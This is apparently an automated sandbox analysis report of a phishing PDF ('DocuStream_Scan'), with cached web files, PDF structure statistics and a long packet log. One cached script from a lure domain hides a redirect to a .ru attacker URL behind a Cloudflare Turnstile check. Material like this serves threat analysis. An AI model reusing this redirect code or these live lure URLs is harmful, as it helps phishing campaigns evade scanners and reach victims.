SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	612
Entropy (8bit):	4.988321743922674
Encrypted:	false
SSDEEP:	12:hPG4yvjS5SSavmmMcw2osZdr8+HskwGWuMCcf0+uNV4Gb:hPxR5SPvGYdrRWuMC2uNV4M
MD5:	90FCE18E5EF426EA4D79AA9F3553FB96
SHA1:	2FC864EA0F46AB0D95AC9FE00A01E4280D780FFF
SHA-256:	59EACA076136932EC883A42164BEB703DB25C1616F2D6759A0AF2A620C170157
SHA-512:	7AF35051E65E9D2CB330102AD3CD671E2285858DA2E0AD3BFABBEBBD5987E6BFBF449F2E42FE7C5FD0F0A50998497F1CA428EA7A8E39E6C5453D4DAA6E10D1CA
Malicious:	false
URL:	https://8h2f94s.actransbelgium.be/
Preview:	<!DOCTYPE html>..<html lang="en">....<head>.. <meta charset="UTF-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" />.. <title>Document</title>..<style>.. div {.. display: flex;.. align-items: center;.. justify-content: center;.. width: 90vw;.. height: 85vh;.. background-color: white;.. flex-direction: row;.. }..</style>.. <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback" defer></script>..</head>....<body>....<div id="myWidget"></div>...... <script src="main.js"></script> ..</body>....</html>

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 59 x 58, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlKdt3Tk/l/xl/k4E08up:6v/lhPs7E17Tp
MD5:	2D99B3929BA34C6EECA48A73893A45E9
SHA1:	09038CD3501903CF99802B25A091006AD26E212A
SHA-256:	EBCA5A4AA813D3F1F00B59D371DBB9BCAAF9660FAD835D249E35BEAE66A28F1B
SHA-512:	A429998F31646F2201E2C01F0F9BBE1A423EC731346E1803AFD58CDC9C03E9B13A607E58AF9E98ADF353CA73AF0DA21E8F30351B6A050973F99643E36BA55F5F
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8f3fa3fe4ef88c24/1734530026577/8iLkAWsacI_1SIW
Preview:	.PNG........IHDR...;...:........A....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	320
Entropy (8bit):	4.90908163502439
Encrypted:	false
SSDEEP:	6:HtW9lD+/98MPpC7T1PgDHodNXpKpWgLZmUemmHl0WuEQwK59n:NWqeM4wq87ZmHxHmrVR59n
MD5:	7BFA83AE98C3615618ED24FA26759DD1
SHA1:	3C5ABC913FBF5DBB24EA48F971C1AD127F48FF4D
SHA-256:	38E1A417058EEAF69DF1DF0DAAE0FD065002478BF9699A5C5A5AE0474444B31E
SHA-512:	444B27F335278EA84B22442269CEE0607E0FFC5463545522D146C2684A95B08007F8A6AA7129103DA3B0EA9C46D3DC54A7AA790A0EC235EC2836A32B175CA1F0
Malicious:	false
URL:	https://8h2f94s.actransbelgium.be/main.js
Preview:	window.onloadTurnstileCallback = function () {.. turnstile.render('#myWidget', {.. sitekey: '0x4AAAAAAA2_hQhHwsUHMEvv',.. callback: function(token) {.. console.log('Challenge Success ${token}');.. window.location.href = "https://32.ergeane.ru/yNriUGk0/";.. },.. });.. };

Static File Info

General

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.846590092527802
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	DocuStream_Scan_l8obgs3v.pdf
File size:	32'291 bytes
MD5:	f92ff59b1795ab2d4a9fd6b1c2d1500e
SHA1:	a076e31a7ff8eda82b96acfe649eb99462d2324b
SHA256:	3e144154494d554f1f6c78518290bb313a306437c606270cd915e9e54c6bd95d
SHA512:	c90fa1328902b7e5151f013683c9298b44f72fd57e0936a67b8a974d1a2612770cd26ea6038f0950d6310a59c36923d98c4fd9024594af04c120f3e1cfb97161
SSDEEP:	768:VTPtT6rQ7YBPvgAjyXjhWPCujQ8NtZW1MvKyerPZj:VbtcQEWFlWPfQ8nZW1MyyCxj
TLSH:	42E2BF279D496C2DFCC3C7A1A823788E44FDB11705C62E5329380A81FC64E99E9225FB
File Content Preview:	%PDF-1.4.%.....1 0 obj.<<./Title ()./Creator (...w.k.h.t.m.l.t.o.p.d.f. .0...1.2...5)./Producer (...Q.t. .5...1.2...8)./CreationDate (D:20241218110237Z).>>.endobj.2 0 obj.<<./Type /Catalog./Pages 3 0 R.>>.endobj.4 0 obj.<<./Type /ExtGState./SA true./SM 0.

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.846590
Total Bytes:	32291
Stream Entropy:	7.943940
Stream Bytes:	28025
Entropy outside Streams:	5.153974
Bytes outside Streams:	4266
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	31
endobj	31
stream	10
endstream	10
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5
7	11c64535634d8303	8a095820982e303aeee1c0694a8aaaa3
9	ccb62969696986cc	42db1b9d75d3b321a5ae572e6ad48a4a
11	ccb62969696986cc	91060735c78e5b8b609c39754184e8d3

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:52:51.817675114 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:52:52.118334055 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:52:52.721349001 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:52:53.923295021 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:52:56.330297947 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:52:57.130047083 CET	49690	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:52:59.976694107 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:00.277312994 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:00.879338026 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:01.132287979 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:53:02.090312004 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:04.447803020 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:04.495393991 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:04.751362085 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:05.353709936 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:06.559298038 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:08.974317074 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:09.304296017 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:10.745318890 CET	49673	443	192.168.2.16	204.79.197.203
Dec 18, 2024 14:53:13.786338091 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:18.914311886 CET	49678	443	192.168.2.16	20.189.173.10
Dec 18, 2024 14:53:23.386358023 CET	49680	80	192.168.2.16	192.229.211.108
Dec 18, 2024 14:53:34.023968935 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:34.024019957 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:34.024106026 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:34.027697086 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:34.027740955 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.283878088 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.284256935 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.284281969 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.285341024 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.285409927 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.287610054 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.287688017 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.287844896 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.287853956 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.336355925 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.758677959 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.758872032 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:35.758950949 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.759812117 CET	49715	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:35.759840965 CET	443	49715	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:36.534497023 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:36.534550905 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:36.534646988 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:36.534857035 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:36.534878016 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:36.673330069 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:36.673413038 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:36.673481941 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:36.673762083 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:36.673796892 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:37.810322046 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:37.810617924 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:37.810641050 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:37.811014891 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:37.811304092 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:37.811439037 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:37.811479092 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:37.854388952 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:37.951113939 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:37.951430082 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:37.951452017 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:37.952960968 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:37.953030109 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:37.954016924 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:37.954097033 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:37.954180002 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:37.954190969 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:37.995378971 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.270593882 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:38.270694017 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:38.272027016 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:38.272186041 CET	49718	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:38.272217035 CET	443	49718	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:38.414489031 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:38.414540052 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:38.414629936 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:38.414927959 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:38.414942026 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:38.415281057 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:38.415353060 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:38.415416956 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:38.415642977 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:38.415662050 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:38.417310953 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:38.417401075 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:38.417478085 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.417732000 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.417759895 CET	443	49719	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:38.417777061 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.417814970 CET	49719	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.424283028 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.424336910 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:38.424412012 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.424616098 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:38.424633026 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:39.644308090 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:39.644640923 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:39.644679070 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:39.645404100 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:39.645739079 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:39.645811081 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:39.645898104 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:39.671289921 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:39.671545029 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:39.671574116 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:39.675173044 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:39.675254107 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:39.675574064 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:39.675659895 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:39.675715923 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:39.687336922 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:39.715384007 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:39.715405941 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:39.762419939 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:40.086669922 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.086859941 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.086921930 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.086937904 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.086952925 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.086993933 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.087004900 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.094773054 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.094819069 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.094854116 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.094881058 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.094924927 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.102727890 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.110964060 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:40.111262083 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:40.111356974 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:40.112468004 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:40.112540007 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:40.113534927 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:40.113605022 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:40.129127979 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:40.129332066 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:40.129393101 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:40.129926920 CET	49720	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:40.129945040 CET	443	49720	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:40.146363020 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.146385908 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.162367105 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:40.162399054 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:40.194370031 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.205956936 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.210004091 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.210056067 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.210072994 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.210436106 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:40.258375883 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.277791023 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.283190966 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.283261061 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.283274889 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.291273117 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.291344881 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.291352987 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.299221992 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.299293995 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.299304962 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.307192087 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.307246923 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.307262897 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.315232038 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.315293074 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.315300941 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.331005096 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.331136942 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.331139088 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.331151009 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.331192017 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.339049101 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.347014904 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.347225904 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.347240925 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.347268105 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.347343922 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.353296041 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.359591007 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.359658003 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.359673023 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.401352882 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.401374102 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.448362112 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.469762087 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.470052004 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.470120907 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.470376015 CET	49722	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.470393896 CET	443	49722	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.613481998 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:40.613519907 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:40.613599062 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:40.613838911 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:40.613854885 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:40.619918108 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.620001078 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:40.620095015 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.620269060 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:40.620304108 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:41.824888945 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:41.825165033 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:41.825182915 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:41.826191902 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:41.826261044 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:41.826632977 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:41.826690912 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:41.826801062 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:41.826807976 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:41.841563940 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:41.841883898 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:41.841911077 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:41.845006943 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:41.845077991 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:41.845418930 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:41.845506907 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:41.845575094 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:41.845582008 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:41.875360966 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:41.888539076 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.268376112 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.268513918 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.268605947 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.268671989 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.268691063 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.268735886 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.268740892 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.276901007 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.276968002 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.276988983 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.289521933 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.289582014 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.289592981 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.297413111 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.297470093 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.297480106 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.301668882 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.301791906 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.301842928 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.301846981 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.301862955 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.301912069 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.301924944 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.309756994 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.309885025 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.309897900 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.319010973 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.319084883 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.319097042 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.325237036 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.325310946 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.325483084 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.326086998 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.326108932 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.327734947 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.327871084 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.327888012 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.352380037 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.383378029 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.387921095 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.431369066 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.431406021 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.464961052 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.465003014 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.465039968 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.465054989 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.465096951 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.472465038 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.480475903 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.480511904 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.480540037 CET	49723	443	192.168.2.16	104.18.95.41
